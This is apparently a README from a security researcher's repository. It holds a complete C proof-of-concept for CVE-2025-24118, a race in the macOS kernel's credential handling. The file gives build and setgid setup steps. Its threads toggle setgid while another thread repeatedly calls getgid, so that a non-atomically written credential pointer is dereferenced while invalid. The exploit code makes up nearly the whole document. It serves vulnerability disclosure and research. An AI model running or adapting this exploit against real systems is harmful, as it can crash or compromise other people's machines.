README.md
Rendering markdown...
// Joseph Ravichandran (@0xjprx)
// PoC for CVE-2025-24118.
// Writeup: https://jprx.io/cve-2025-24118
// gcc TRAVERTINE.c -o travertine
// chgrp everyone travertine
// chmod g+s travertine
// ./travertine
// Race kauth_cred_proc_update against current_cached_proc_cred_update,
// where a non-atomic write to proc_ro.p_ucred can cause it to point
// to invalid memory for long enough for it to be dereferenced.
// This program needs to be a setgid binary for a group
// different than the effective group id of the calling user.
// On macOS, it seems this is 'staff' by default, so set this
// binary to be owned by 'everyone' instead.
// `ls -lah travertine` should look something like this:
// -rwxr-sr-x 1 joseph everyone 8.9K Oct 23 02:00 travertine
#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/param.h>
#include <errno.h>
#include <string.h>
#define NUM_THREADS ((1))
gid_t rg;
gid_t eg;
void *toggle_cred(void *_unused_) {
while(true) {
// Call kauth_cred_proc_update to write to proc_ro.p_ucred:
setgid(rg);
setgid(eg);
}
return NULL;
}
void *reference_cred(void *_unused_) {
volatile gid_t tmp;
// Call current_cached_proc_cred_update to read proc_ro.p_ucred:
while(true) tmp = getgid();
return NULL;
}
int main(int argc, char **argv) {
pthread_t pool[2 * NUM_THREADS];
rg = getgid();
eg = getegid();
if (rg == eg) {
fprintf(stderr, "Real and effective groups are the same (%d), they need to be different to trigger kauth_cred_proc_update\n", rg);
exit(1);
}
printf("Starting %d thread pairs\n", NUM_THREADS);
printf("rgid: %d\negid: %d\n", rg, eg);
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&pool[(2*i)+0], NULL, toggle_cred, NULL);
pthread_create(&pool[(2*i)+1], NULL, reference_cred, NULL);
}
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(pool[(2*i)+0], NULL);
pthread_join(pool[(2*i)+1], NULL);
}
printf("Done\n");
return 0;
}